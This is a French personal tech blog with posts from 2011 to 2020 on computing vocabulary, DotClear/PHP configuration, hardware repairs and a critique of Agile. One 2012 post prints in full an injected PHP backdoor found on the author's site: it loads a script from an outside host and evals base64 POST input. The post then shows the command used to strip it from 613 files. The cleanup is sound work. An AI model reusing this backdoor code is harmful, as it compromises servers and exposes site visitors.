Thursday 24 December 2020

Affordance trompeuse : LA DATA

En 1874 Émile Baudot crée un code sur 5 bits pour la télétransmission afin d'être plus efficace que le code Morse. Ce codage permet de représenter les lettres majuscules, les chiffres, la ponctuation… c'est le début du monde de LA DATA. Un point fascinant du monde de LA DATA est ce besoin de REVENIR A DES MAJUSCULES SANS ACCENTS POUR S'EXPRIMER. Le monde de LA DATA EST UN MONDE BRUYANT.

La mode autour de ce vocabulaire est très intéressante, car elle montre deux points de vue différents entre la francophonie et les outres (outre-Manche, outre-Atlantique). L'idée principale convoyée par les dénominations anglaises est toujours celle du calcul : dans computing science, le premier mot a la même racine latine que le mot français computer, c'est-à-dire computare, calculer. Dans software engineering, le premier mot a été créé en opposition au hardware, au matériel : on continue de parler de l'outil, toujours pas des données.

En vocabulaire anglais, il est donc nécessaire de remettre en avant la donnée, ou comme on dit en Français de la Tech, de remettre en avant LA DATA. En vocabulaire français par contre, on va parler d'informatique, et ce depuis le début de la diffusion des ordinateurs dans les années 60 (qui ne sont que des calculateurs pour le coup), c'est-à-dire de la science du traitement rationnel, notamment par machines automatiques, de l'information considérée comme le support des connaissances humaines et des communications dans les domaines technique, économique et social.

Cela fait donc plus d'un demi-siècle qu'en vocabulaire français on a considéré que LA DATA était la partie fondamentale de notre activité, et qu'en deuxième position arrivait la problématique du calcul automatisé. L'utilisation sans réserve de LA DATA dans nos contrées est donc un indicateur fort de l'inculture informatique de nos entreprises, en particulier dans la French Tech.


Vous pouvez trouver le reste de la série sous l'article d'introduction.

Affordance trompeuse : JSON

JSON est un format de texte bien connu, et format privilégié des amateurs de l'approche NoREST. Ce format, très simple, est défini dans la RFC 8259 de l'IETF ou encore ECMA-404 de l'ECMA, qui spécifie que l'acronyme signifie "JavaScript Object Notation". On pourrait donc s'attendre à ce qu'on puisse décrire en JSON un objet au sens JavaScript, à savoir quelque chose avec un état et un comportement, des propriétés et des méthodes. Juste après, la spécification précise que JSON est un format d'échange de données, on comprend donc que la partie "comportement" ne fera pas partie de JSON. On pourrait du coup s'attendre à ce que les types de données scalaires JavaScript standards soient supportés dans JSON. Ce n'est pourtant pas le cas, seuls les nombres et les chaînes de caractères sont décrits et, par le tour de passe-passe d'utilisation de mots-clefs, on ajoute les booléens. Au final, le JavaScript dans JSON est l'équivalent de Git dans GitOps : un tube néon qui va mettre en valeur le nom.


Vous pouvez trouver le reste de la série sous l'article d'introduction.

Affordance et programmeurs, une histoire de noms

Affordance est un néologisme créé par le psychologue James J. Gibson dans les années 60 pour désigner ce que l'environnement a à nous offrir. A la fin des années 80, ce terme prend un sens complémentaire, avec la notion de perception de cette offre. Par exemple avec l'iPhone, Apple a introduit la possibilité de zoomer avec un mouvement de pincement effectué digitalement (c'est-à-dire avec les doigts) sur l'écran : dans la désignation des années 60, cette possibilité est une affordance, dans celle des années 80, c'est une affordance cachée. On parlait aussi de fausses affordances, comme par exemple quand un bouton est présent mais rien n'est câblé derrière. Dans les années 2010, une nouvelle utilisation du terme est apparue, au singulier cette fois, où l'affordance de quelque chose est sa qualité à proposer des affordances visibles.

Cette notion est clef dans les interactions homme-machine, spécialement pendant la phase de découverte de l'interface, de la surface qui sépare l'humain de l'informatique. Une fois l'interface connue, assimilée, la personne travaille par raccourcis, par accélérateurs et ce besoin d'affordances visibles diminue. On pourrait donc penser que ce concept d'affordance va être clef pour les informaticiens, qui vont avoir à cœur de le mettre en pratique dans l'organisation de leur travail. C'est un peu le cas, mais avec une subtilité : les informaticiens aiment aller au-delà de l'affordance, ni affordance visible, ni affordance cachée, ni fausse affordance, mais avec l'affordance trompeuse, celle qui donne à croire qu'on a une certaine affordance, mais qui propose en fait tout autre chose.

Ceci se pratique essentiellement à travers la démarche de dénomination, élément essentiel de toute communication. Certains diront que le vocabulaire est nécessairement mouvant dans le temps, et que le nom des choses est ce que la masse en fait. Il n'en reste pas moins que ceux qui connaissent le sens d'origine du vocabulaire ne peuvent que se sentir attaqués et trahis, dans une démarche certes victimaire, mais pour laquelle on peut ressentir une certaine empathie en toute bienveillance. Et passé ce point de détail, dans toute démarche scientifique, et l'informatique aspire à s'en approcher, il est important de ne pas effacer le passé en se servant du vocabulaire comme d'un palimpseste.


Cet article sert de point d'entrée à la série "Affordances trompeuses", il sera mis à jour au fur et à mesure avec les différentes entrées.

  1. JSON
  2. LA DATA
  3. Les frameworks Web MVC
  4. Codeur
  5. REST API, RESTful
  6. API as a Product
  7. GitOps
  8. Dette technique
  9. La qualité
  10. Les bonnes pratiques
  11. La refactorisation
  12. Le cache
  13. Le data center
  14. API
  15. L'anglais est universel
  16. La Cyber
  17. Informaticien
  18. Le design
  19. Les batchs
  20. Le digital
  21. La recette
  22. Open Source
  23. Observable

Thursday 21 May 2020

Le sparadrap, outil disruptif des coders

En ces années où les coders (i.e. ceux qui s'intéressent au code, les plombiers 2.0 en quelque sorte) ont remplacé les informaticiens (i.e. ceux qui s'intéressent à l'information), l'heure n'est plus à la propreté. J'en profite donc pour mettre ici le bout de code qui permet de corriger la recherche et la page peu avenante qui s'affiche quand un des deux pauvres hères qui laissent des commentaires ici agissent (qu'ils en soient remercié de visiter activement ce cimetière). Telle la justice aveugle je désigne PHP-FPM comme coupable, mais en vérité ça n'est qu'un préjugé. Ceci est à mettre dans votre inc/config.php sous DotClear 2 si vous pensez avoir le même problème.

if(isset($_SERVER['PATH_INFO'])) {
    $off = strpos($_SERVER['PATH_INFO'], '?');
    if($off !== false) {
        $_SERVER['PATH_INFO'] = substr($_SERVER['PATH_INFO'], 0, $off);
    }
}

Sunday 3 November 2019

Le Fashion Driven Programming, un nouveau paradigme disruptif

Malgré le pessimisme d’un Frederick Brooks, le développement informatique se révolutionne sans cesse, grimpant inlassablement la pente savonnée du progrès. Finis l’assembleur, la programmation structurée, la programmation orientée objet (OOP)... déjà désuète la programmation fonctionnelle (FP), adieu les ingénieurs souffreteux. Le paradigme a changé, nous sommes à l’ère du Fashion Driven Programming (FDP), ou "programmation menée par la mode".

De la même façon qu’il est difficile pour un OOP de se convertir à la FP, tout développeur ne peut prétendre à devenir un véritable practitioner du FDP. Car n’oublions pas un paramètre essentiel : c’est en utilisant un mot en langue étrangère qu’on a le moins de chance de comprendre ce qu’il se passe. Il n’empêche qu’avec un peu de travail sur soi, devenir FDP dans sa tête est tout à fait faisable, voyons ci-dessous les conditions d’accès.

Flux de décision pour l'adéquation au FDP

Maintenant que vous vous êtes positionnés vis-à-vis de ce nouveau paradigme, il est temps de savoir en quoi il consiste précisément. Le premier principe du FDP est celui de la transcendence : si quelqu’un d’intelligent a fait quelque chose, alors cette chose est bonne. Ce premier principe est accompagné d’un corrolaire : si on se sent suffisamment intelligent pour essayer de comprendre ce que cette personne a fait, alors cette personne n’était pas assez intelligente.

Le deuxième principe est celui de Kersauzon : s’il y a du vent, suis-le. La représentation emblématique de ce principe consiste en la mise en place d’idoles, qui vont nous guider, pardon, qui vont nous leader : cette idole doit être cohérente avec le premier principe, par exemple Google, et il s’agit de se prosterner les yeux fermés (c’est important) en invoquant un mantra de deuxième principe, par exemple “AMP est bon pour le Web”, ou encore “PWA est l’avenir du Web”.

Troisième et dernier principe, celui de la révélation. Même si une pratique ou un outil vous semble relever du FDP d’après les deux premiers principes, il faut respecter le troisième : ne peut être qualifiée de FDP qu’une vérité révélée dans des conférences. Le statut ultime étant atteint quand une conférence est créée spécifiquement autour de celle ou celui-ci.

Vous voilà désormais armé pour dialoguer avec un FDP practitioner, dans une approche évidemment co-constructive.

Sunday 5 May 2019

Blog sans levure

Cette après-midi il y aurait dû y avoir un véritable article, pour la première fois depuis très longtemps. Mais Dotclear2 a décidé de pousser de la politique dans l'interface d'administration du blog. Au final, pas de vrai article, juste du nettoyage.

Saturday 5 January 2019

Notes de mise à jour

Je note avant d'oublier les déboires de migration de ce blog vers un serveur plus récent... l'obsolescence par incapacité à fournir une compatibilité dans le temps : l'esprit Apple du gâchis à l'américaine a gagné.

Dans l'ordre :

  • bon, faudra revoir la version de PHP, vérifier le passage à mysqli, a priori pas pour ce DC2, trop de sites sur ce serveur
  • charset de la base de données à forcer côté client, c'est dans... ah non, ça c'était pour le vieux SPIP, et dans un autre DotClear dans inc/classes/class.mysql.php :
function database($dbname) {
   $db = @mysql_select_db($dbname);
   mysql_set_charset('latin1', $this->con_id);
  • le point noir est plutôt l'interaction entre PHP-FPM et mod_rewrite, pour l'instant j'utilise des FallbackResource en absolu dans les .htaccess, et je me retrouve avec le bloc suivant dans inc/config.php, qui est assez moche :
if (!isset($_SERVER['PATH_INFO']) || $_SERVER['PATH_INFO'] === '') {
   $_SERVER['PATH_INFO'] = substr($_SERVER['REQUEST_URI'], 5);
}
  • la prévisualisation et les liens permanents sur les nouveaux articles (comme celui-ci) ne fonctionnent pas, à voir (mise à jour : trouvé, c'était l'accent dans "à jour")
  • indépendamment du nouveau serveur, on note que DC2 a pris la voix de la propagande politique dans ses dernières traductions, il va falloir trouver un fichier de langue neutre pour corriger ça, ou faire l'adaptation
  • et pour finir, rien à voir avec ce blog, mais encore avec le vieux SPIP, ISPConfig n'a pas prévu la configuration de security.limit_extensions dans PHP-FPM, du coup il faut être précautionneux pour ne pas écraser le fichier spécifique au site dans fpm/pool.d ; il faut vraiment qu'on mette à jour ce SPIP

Wednesday 14 May 2014

C'est beau, mais c'est moche

Opération "à cœur ouvert" d'un vieil iMac (oui, de toute façon tout matériel Apple de plus de 6 mois est vieux par essence), pour changer un disque dur. Simple ? Oui, si l'on accepte le fait que pour enlever le cadre en plastique il faut avoir un électroaimant sous la main, et que pour accéder au disque il faut soulever l'écran maintenu par... du ruban adhésif (c'est un gadzart qui a conçu ça ?) et quatre vis pour lesquelles vous n'aurez évidemment pas le bon tournevis sous la main (un torx à long coup très aimanté). Et sans oublier le capteur de température collé avec... je ne sais même pas où ils ont trouvé cette chose, en Chine ou au Bangladesh vraisemblablement.

Il faut savoir néanmoins relativiser, ce n'est pas le pire modèle de chez la pomme, pas besoin de pelle à tarte pour l'ouvrir.

DSCN1768.jpg DSCN1769.jpg DSCN1773.jpg

On notera au passage qu'ifixit.com sous Internet Explorer 11 / Windows 8 c'est une belle daube, il faudrait voir ce qu'ils traficotent dans la capture d'événements en JavaScript.

Monday 12 May 2014

Ce soir chez Boris, c'est soirée dématérialisation

DSCN1753.jpg

Léger et court vétu, et surtout plein d'entrain, je m'étais mis en tête de jeter toutes ces disquettes à la poubelle, non sans les avoir sauvegardées au préalable. Hélas, trois fois hélas, parmi les huit lecteurs que j'avais sous la main, soit une infinité de fois plus que de lecteurs sur ce blog, aucun n'a accepté de fonctionner. C'est donc contraint et forcé que j'ai décidé de mettre à jour le moteur de ce blog, en profitant des nouveautés de 2008. Il n'y a plus qu'à travailler le thème, parce qu'il faut bien... non en fait il ne faut rien.

Tuesday 30 July 2013

Une vision de la pile serveur de king.com

King.com, ce sont les jeux en Flash sur FesseBouc, et les publicités à la télévision pour installer la Saga Brise Bonbon (Candy Crush Saga) sur votre mobaïle. De temps en temps, on peut avoir un aperçu de ce qui se passe côté serveur pour gérer la machinerie.

com.king.core.InternalException: DB error com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: No operations allowed after connection closed.
	at com.king.core.db.DataStoreImpl.handleSQLException(DataStoreImpl.java:322)
	at com.king.core.db.DataStoreImpl.setData(DataStoreImpl.java:140)
	at com.king.core.db.DataStoreImpl.setData(DataStoreImpl.java:121)
	at com.king.core.db.JsonStoreImpl.set(JsonStoreImpl.java:134)
	at com.king.core.db.JsonStoreImpl.set(JsonStoreImpl.java:40)
	at com.king.platform.user.UserJsonStoreImpl.set(UserJsonStoreImpl.java:86)
	at com.king.platform.user.UserJsonStoreImpl.set(UserJsonStoreImpl.java:55)
	at com.king.platform.user.SignInDataManagerImpl.saveSignInData(SignInDataManagerImpl.java:82)
	at com.king.platform.user.SignInDataManagerImpl.updateSignInData(SignInDataManagerImpl.java:105)
	at com.king.platform.user.CoreUserManagerImpl.signInExistingUser(CoreUserManagerImpl.java:62)
	at com.king.platform.facebook.FacebookManagerImpl.signIn(FacebookManagerImpl.java:62)
	at com.king.platform.facebook.FacebookSessionManagerImpl.initFacebookUserSession(FacebookSessionManagerImpl.java:139)
	at com.king.platform.facebook.FacebookSessionManagerImpl.initFacebookUserSession(FacebookSessionManagerImpl.java:111)
	at com.king.platform.facebook.FacebookHttpEntrypointImpl.enter(FacebookHttpEntrypointImpl.java:146)
	at com.king.apps.bubblewitch.BubbleWitchFacebookServlet.service(BubbleWitchFacebookServlet.java:65)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:848)
	at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:669)
	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1336)
	at com.king.platform.session.PlatformServletFilter.doFilter(PlatformServletFilter.java:111)
	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1307)
	at com.king.platform.jetty.AddCloseHeaderFilter.doFilter(AddCloseHeaderFilter.java:16)
	at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1307)

Jetty pour le "serveur d'application", MySQL pour la base de données, avec stockage direct en JSON (peut-être). Les Impl partout font craindre qu'il y ait une forêt d'interfaces inutiles de maintenue, sinon c'est assez propre comme pile d'appel, pas de Spring, pas de proxys : sans doute des gens qui savent coder.

Friday 20 January 2012

Qu'est-ce-qu'on se marre

Je trouve toujours ça joli le code infecté :

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Et après on se demande pourquoi "eval is evil" :-) (mais ça reste moins pire que PREG_REPLACE_EVAL). A part ça, ça m'a permis de découvrir FilesMan, très pratique, une porte ouverte sur le serveur bourré d'astuces (oui bon, on appelle ça un backdoor, ça nous ramène au bon vieux temps de BackOrifice du CDC).

Hop :

user@sdxxxx:/home/alternc/html/x/xx$ set +H
user@sdxxxx:/home/alternc/html/x/xx$ rpl -R -x'.php' "global \$sessdt_o; if(!\$sessdt_o) { \$sessdt_o = 1; \$sessdt_k = \"lb11\"; if(!@\$_COOKIE[\$sessdt_k]) { \$sessdt_f = \"102\"; if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } } else { if(\$_COOKIE[\$sessdt_k]==\"102\") { \$sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } \$sessdt_j = @\$_SERVER[\"HTTP_HOST\"].@\$_SERVER[\"REQUEST_URI\"]; \$sessdt_v = urlencode(strrev(\$sessdt_j)); \$sessdt_u = \"http://turnitupnow.net/?rnd=\".\$sessdt_f.substr(\$sessdt_v,-200); echo \"<script src='\$sessdt_u'></script>\"; echo \"<meta http-equiv='refresh' content='0;url=http://\$sessdt_j'><!--\"; } } \$sessdt_p = \"showimg\"; if(isset(\$_POST[\$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),\$_POST[\$sessdt_p])));exit;} }" '' *
A Total of 613 matches replaced in 3732 files searched.

Tuesday 20 September 2011

Recoller les morceaux

Il y eu un défi photo impliquant Trône de fer et des Lego. Il y eu un miroir qui ne redescendait pas après la prise de vue. Il y eu les cartes Compact Flash qui n'étaient plus reconnues. Las. Cet appareil était de toute façon marqué par le sceau de l'infamie : oui, il avait servi à capturer des images de chats (j'en frissonne encore). Bref, le plus tout jeune Nikon D70 allait devoir subir une intervention... ou mourir. Destination iFixit pour ne pas se demander où retourne telle ou telle vis, récupération du repair manual officiel (que c'est beau tous ces diagrammes), et c'est parti : ouverture du corps, déchargement du condensateur du flash, sortie du berceau à Compact Flash, reconnexion des rubans. Et ça fonctionne ! Plus de problème de lecture ! Testons l'écriture en prenant une photo. "Low battery". Ha, essai avec la batterie de rechange qui est pleine : "low battery". Quelques heures de vaines recherches sur internet plus tard (toujours pas aidé par Google, quand je tape "D70 low battery flashing", c'est que je cherche "D70 low battery flashing" et pas "D70s low flash"), de reset divers et variés, il faut me rendre à l'évidence : c'est l'intervention qui a causé ça, et pas un problème inhérent à ce modèle de boîtier.

Retour à la case démontage, et là, c'est le drame :

Alors oui, ce petit point dur senti en réinsérant le berceau Compact Flash, c'était un ruban en train de se faire cisailler. Que faire ? La soudure est impossible, un vieux boîtier comme celui-ci ne vaut plus grand chose, il faut alors TENTER L'IMPOSSIBLE (non, acheter un nouveau boîtier n'est pas plus tenter l'impossible que d'acheter un iPhone 5 en disant "je me retiens je me retiens") : la réparation du ruban. Armé de quelques instructions trouvées au hasard de mon désespoir, c'est parti pour l'achat d'époxy conducteur. Premier constat : ça douille, 10€ le gramme.

Après commande et réception, c'est parti pour la manipulation. Première partie : isoler le ruban. Malheureusement, pour déconnecter ce ruban des deux côtés, cela impliquerait de dessouder (et ressouder au remontage) pas moins de 15 points de connexions dans le boîtier. Nikon et moi n'ayant pas la même conception du démontage sans risque, je renonce, et on travaillera donc avec le ruban toujours connecté à une extrémité, placé sur une troisième main pour faciliter le travail :

Ensuite, on essaie de remettre le ruban à plat, en collant un bout de scotch en dessous :

Première étape difficile : faire sauter le plastique qui recouvre les pistes métalliques endommagées. Pour ça, préparation d'une petite cale à poncer (avec la résistance de vidage du condensateur pour donner l'échelle) avec une languette de papier de verre en grain 240 (pas plus fin sous la main). Ensuite on ponce douuuuucement :

En théorie, on teste à ce moment là que le métal est bien dégagé avec un petit test de conductivité... je l'ai à peu près fait... mais bon, c'est point facile. On passe ensuite à la préparation de l'epoxy ; c'est du standard bi-composant, colle d'un côté, durcisseur de l'autre, deux minutes de mélange... quatre minute pour l'utiliser, quatre heures pour sécher. Bon. Dosage de la partie colle... je crois que j'ai bien sorti un gramme du tube. Dans ces cas-là, ne faites pas comme moi : servez-vous de la seringue pour aspirer le trop plein du composant avant le mélange. Dosage du durcisseur... il ne sort pas de la seringue... problème de température chez le distributeur ? Bref, on va le chercher dans la seringue à la touillette, puis mélange pendant deux minutes. Ensuite, application d'une crotte (genre un vingtième de ce qui est préparé, si ça n'est pas du gâchis), et on redessine délicatement les espaces entre les pistes métalliques avec le dos d'un scalpel. Et ça donne ça :

Je sais, c'est moche ; et encore, c'est le deuxième essai, le premier s'est conclu en un nettoyage du ruban. Vous voyez ce que ça donne le nettoyage de l'Arctic Silver ? Et bien c'est pareil, sauf que ça colle encore plus. Et rappelez-vous, vous n'avez que 4 minutes pour travailler le mélange avant que commence le durcissement.

En théorie, on teste la conductivité en reconnectant le ruban, et si le test fonctionne, on met une couche d'isolant par dessus ces belles pistes toutes neuves. Pris dans l'enthousiasme du succès de la réparation, j'ai oublié cette étape. Ça n'est pas encore trop trop grave dans ce cas précis, vu qu'à cet endroit le ruban n'est en contact qu'avec du plastique sur cette face. J'aurais eu un beau boîtier avec un corps en magnésium je ne dis pas, mais de ce point de vue là le D70 n'est pas complètement à ce niveau de finition :-)

Au final, le boîtier fonctionne mieux qu'avant, sauf le problème de miroir qui se bloque sur la phase de descente après la prise de vue, peut-être que les batteries se font vieille, ou alors, le boîtier est vraiment en fin de vie : tout ça pour rien, snif. Note : les photos de ce post ont été prises avec old faithful qu'on peut voir ici.

Monday 8 August 2011

L'Agile est mort-né

Ce qui devait être un blogmark devient un article, vu que le commentaire est un poil trop long. Ceci est donc un commentaire à propos de L'Agile est mort de Sébastien Douche.

Si je diffuse un logiciel avec une licence Libre, par exemple BSD, mais que je ne propose pas de bugtracker, de liste de diffusion, ou que je refuse toute contribution extérieure, ou que j'obfusque mon code, ou que j'envoie sur les roses les demandes d'utilisateurs, je fais du Logiciel Libre (ma licence le prouve) sur papier. Dans les faits, ce n'est qu'un erstatz, je ne respecte pas la philosophie du Logiciel Libre.

Si si, c'est du logiciel libre sur le papier et dans la philosophie. Le logiciel libre ça n'est pas ouvrir son processus de développement, ça n'est pas répondre inlassablement aux questions stupides des n00bz : ça c'est du logiciel bazaaresque (au sens ESRien du terme), et ça n'a rien à voir avec le free software.

Le développement est une histoire de développeurs avant tout. Vous devez faire confiance aux gens, les respectez dans leur capacité à produire, dans leur jugement. Cet accent me semble t'il est absent des approches précédentes comme la cascade ou RUP. Ces dernières sont plutôt accés processus, avec des dizaines de procédures et de la documentation à profusion, le développeur n'étant qu'un rouage du système. CMMi est un bon exemple de cette vision : la documentation officielle parle sempiternellement d'organisation et de processus. Et pire, il faut être certifié CMMi pour savoir lire une doc CMMi (cherchez l'erreur) tellement elle est inbitable et truffée d'une terminologie incompréhensible.

On doit faire confiance au développeur, dans sa capacité à produire, à juger, tout ça tout ça, mais on le préjuge incapable d'acquérir le vocabulaire de base et le formalisme de CMMi ? Parce que le métier du client que l'agiliste devra maîtriser sera forcément moins "truffée de terminologie" que CMMi ?

L'agilité apporte beaucoup de solutions intéressantes : le TDD, les tests, la revue par les pairs, l'intégration continue ou le refactoring par exemple.

Les tests : euh... le contrôle qualité est la pierre angulaire de toute discipline qui vise à produire. TDD : on parle de "redécouverte" du TDD par Beck, c'est parce qu'on est poli. Revue par pair : de Dijkstra 1961 à Constantine 1995, nnss. Refactoring : popularisé par Fowler avant que l'agile n'ait son heure de gloire. Intégration continue : Booch 1993 (ou avant ?). Enfin bref, tout ça a été remis dans la lumière par les agilistes, mais en aucun cas ce ne sont des pratiques apportées par l'Agile. D'ailleurs le pair programming est encore plus populaire dans le monde de la Rache que dans le monde de l'Agile.

Je suis malgré tout un vieux Geek, j'achetais pas mal de livres sur la programmation voici 20 ans et je n'ai aucun souvenir des livres (en France en tout cas !) qui ressemblait peu ou prou à l'agilité, on apprenait plutôt en copiant le code des maitres (en crackant des logiciels, en écoutant les démo-makers ou en bavardant sur les BBS).

Effectivement, clash de culture, on est très loin des K&R, TAOCP, Wizard Book, Dragon Book et MMM.

Des pratiques quasi inconnues voici 10 ans sont maintenant considérées comme des pratiques indispensables (vous faisiez beaucoup de tests unitaires en 2000 ?). L'agilité a apporté la lumière à des milliers de développeurs, dont moi, et à fait progresser notre connaissance de notre métier, en construisant pour la première fois un socle stable. Nous en sommes encore au début mais nous tentons chaque jour de mieux comprendre ce métier Ô combien difficile.

Il faut toujours se méfier quand on écrit "pour la première fois", à part si on vit dans un monde binaire évidemment. Et il faut toujours se méfier quand on parle d'"apporter la lumière", car la question sous-jacente est toujours "mais qui donc les maintenait dans l'ombre ?" (et la réponse étant normalement "ben personne, il suffisait d'ouvrir les yeux, pas besoin d'attendre un messie").

Dites moi si ces quelques exemples vous dit quelques choses : Le Chef de projet est appellé ScrumMaster, parce qu'il a fait 2 jours de formation.

C'était le processus standard de la Scrum Alliance jusqu'à peu, sanctionné par Jeff Sutherland en personne. Et d'ailleurs, pourquoi est-ce que ça devrait être problématique ? Ne devrait-on pas avoir confiance en ses capacités d'être Scrum Master après une formation initiale ? Ou alors il ne devrait recevoir le titre de Scrum Master qu'à la suite d'un compagnonnage, cette pratique moyenâgeuse ?

L'Agile est mort en 2001. Plus précisément en février 2001, à Snowbird Utah USA. C'est la création du Manifeste Agile et de l'emploi du terme Agile. Plus généralement, c'est une volonté de mettre en place un modèle, un cadre. C'est à partir de 2002 que l'on voit fleurir les livres avec le terme agile dans le titre. Cela peut paraitre surprenant de dire cela, puisque c'est aussi le début du mouvement Agile. L'objectif de normaliser termes et principes, de les figer, est avant tout pour mieux le vendre.

C'est bien connu, la transmission du savoir est infiniment plus facile quand tout le monde parle en termes différents, et avec des références (principes) différents. L'Agile est donc mort à partir du moment où on s'est donné les moyens de le transmettre en masse, l'Agile est donc réservé à une élite, donc l'Agile n'est pas Agile vu qu'il ne respecte pas le premier principe figé de l'Agile qui est de faire confiance et respecter les gens.

Ne voulant pas remettre en cause ces deux postulats, il ne peut en résulter qu'un dévoiement du mouvement Agile. Et c'est ce qui se passe. L'Agile est donc une mode, qui passe après le développement objet, les Design Patterns, le C++, Java, les frameworks, RUP et quelques autres. On verra dans quelques années fleurir de nouvelles modes quand les promesses des vendeurs Agiles se seront écrasées sur le mur de la réalité des entreprises.

L'Agile est devenue une mode comme un produit Apple, avec les mêmes problèmes de fanboyisme qui fait que pour n'importe quel produit ou pratique ou service labellisé, on érige un nouveau totem aux noms de l'innovation et de la nouveauté apocryphes.

Pourquoi ? Parce qu'on est plus intéressé à vendre qu'a réfléchir, car pour réfléchir il faut avant tout faire ! Ce n'est pas en écrivant des livres et en faisant du consulting qu'on peut produire. XP est le résultat de très nombreuses années de pratique de développement logiciel. Taiichi Ono (fondateur du Toyota Production System) à passé plusieurs décénnies pour perfectioner son organisation. Il ne faisait surement pas passer des certifications TPS 5 ans après avoir débuté sa nouvelle organisation !

Et un jour peut-être, une certaine classe d'agilistes arrivera à ne pas ressortir à tout bout champ des références au toyotisme, qui est une solution pour produire de manière performante (qualité, coût, délai) et en masse des produits manufacturés à options sur base commune sans faire exploser les stocks (en particulier BDL). Si certaines des pratiques embarquées dans le toyotisme sont d'application générale dans l'organisation du travail (et on serait tenté de dire dans l'organisation "scientifique" du travail), la transposition directe "assembler un véhicule" / "analyser un processus métier pour concevoir et implémenter un logiciel" est d'une honnêteté intellectuelle à peu près aussi convaincante que de dire "Struts c'est du MVC (Reenskaug 1979)". Ceci était juste un aparté.

Il faut seulement avoir une vision systémique du mouvement, comprendre d'où il vient, pourquoi il a été créé et pourquoi certaines personnes vendent le modèle Agile. Cela permet par exemple de comprendre le Manifeste Agile au lieu de répéter bêtement son contenu qui est loin d'être optimal en 2011. Cela permet aussi de comprendre que ce modèle créé en 2001 (Scrum en 96, XP en 99) et qui a mis du temps à se propager n'apporte plus rien de neuf depuis de nombreuses années. Si l'argent fut toujours le moteur, le modèle est maintenant dévoyé pour rentrer dans la matrice consulting, loin des objectifs initiaux. Et ni les voix officielles (Agile Alliance, Scrum Alliance), ni ses têtes pensantes se sont élevés contre cela. Pire, elles ont participé activement à ce dévoiement (qui a dit certification ?).

Là on rentre dans une problématique extrêmement vaste, qui est celle de la formation, sujet proche de la diffusion de la connaissance mais avec ses spécificités propres. Le monde des rebelles aux SSII (pour caricaturer) est entré dans un cercle vicieux de dévalorisation des formations en général ("les diplômes c'est bidon, seule l'expérience compte", "les certifications c'est bidon, c'est uniquement sur des modèles dépassés", "les formations c'est bidon, les formateurs ne sont que des perroquets", "à quoi ça sert une formation ? J'aurais toujours la réponse sur internet"), et en arrive à s'imaginer vivre dans le monde de "La citadelle du vertige" d'Alain Grousset, dans un progressisme perpétuel et s'appuyant sur des fondations fantasmées. Et ceci nous amène à une contradiction de ces rebelles, ces champions du logiciel, c'est-à-dire de la mise en place des procédés et règles de traitement de l'information sous la forme de programmes, sont incapables de données du crédit au moindre processus de transmission et de validation de la connaissance qui sorte du sillon de l'apprentissage ou du compagnonnage, dans un médiévisme de bon aloi qui nous ramène à "La citadelle du vertige". Pour la faction agiliste qui met la primauté dans la confiance en l'homme (par défiance envers "le processus"), cela relève d'un cynisme assez redoutable.

Je pourrais résumer ma pensée ainsi : L'agilité est une avancée importante, mais le modèle Agile est inutile. C'est peut être le destin de tout modèle. En tout cas il est temps que chaque organisation invente, à l'instar de Toyota, son propre modèle de production. Un modèle adapté à son business, ses clients, ses collaborateurs. Un modèle qui prend en compte toutes les nouvelles avancées que l'on peut trouver dans les mouvements tels que Devops, Lean, Lean startup ou Kanban. Un modèle qui évolue sans cesse avec la maturité et la capacité de l'organisation à produire.

Le modèle évolue sans cesse, mais le business change aussi, on change de clients, les collaborateurs changent (ils arrivent, partent, sont déprimés). Donc tout change ; et s'il n'y a pas de référentiel, alors tout le discours autour d'une évolution est par nature paralogique.

Pour conclure, comme la naissance de l'Agile est concomitante avec sa mort (comme le Big-Bang), alors les agilistes sont des étoiles (filantes ?).

Saturday 9 July 2011

Investissez plus pour gagner plus

A changer en haut à gauche et en haut à droite

Et deux condensateurs à changer, deux. C'est quand même dommage de mégoter sur quelques maos et avoir un produit qui lâche bêtement : à moi Wervicq-Sud.

Monday 23 May 2011

Glossaire 2.0 : fondation

Eric Hellman nous dit dans "The Object-Oriented Book" :

 

This comes along with EPUB3's use of HTML5 as a foundational layer.

De mon temps, quand on parlait de fondation, c'était pour désigner quelque chose de solide, de stable. Là pour commencer, on ne sait pas si ça parle de HTML5, de HTML5 (on va dire HTML 5 pour simplifier par la suite) ou de HTML LS (anciennement connu sous le nom de "HTML5 pour les vrais hommes"). Allons voir dans "EPUB 3 Changes from EPUB 2.0.1" :

EPUB 3's base content format is now based on the XML serialization of HTML5 (XHTML5)

